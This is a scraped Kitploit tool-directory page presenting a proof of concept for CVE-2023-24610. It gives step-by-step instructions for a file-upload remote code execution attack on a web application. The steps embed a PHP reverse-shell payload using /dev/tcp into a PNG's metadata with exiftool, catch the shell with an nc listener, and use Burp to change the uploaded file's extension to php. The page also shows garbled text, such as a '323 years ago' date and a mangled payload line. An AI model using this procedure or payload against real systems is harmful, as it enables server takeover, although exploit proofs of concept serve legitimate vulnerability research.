Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-24610 — This is a proof of concept for CVE-2023-24610 | Kitploit
Tools/GitHubGitHub/abbisqq/cve-2023-24610
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubabbisqq/cve-2023-24610

CVE-2023-24610

This is a proof of concept for CVE-2023-24610

View Repository
323 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-24610

This is a proof of concept for CVE-2023-24610

We start by creating a polyglot file using exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 <&1\''); ?>" avatar.png -o polyglot.php

nosh1

We change the file to png so it will pass the front-end check

nosh2

After that, we start a nc listener on port 8888 to receive the shell.

nosh3

Next step is to log to the application and click on setup

nosh4

On the bottom of the page, we see a practice logo area. We can upload a file using the edit button on the right side

nosh5

We click on edit and then click on browse, we select the “.png” file we created on the first step

nosh6

Before we click upload, we make sure we intercept the request with burp or something similar. We click upload and in burp we change the file extension from “png” to “php”

nosh7

We switch the intercept off so our file gets uploaded and check the nc listener that we started before. We have a reverse shell and the IP points to our docker container.

Download Tool

nosh8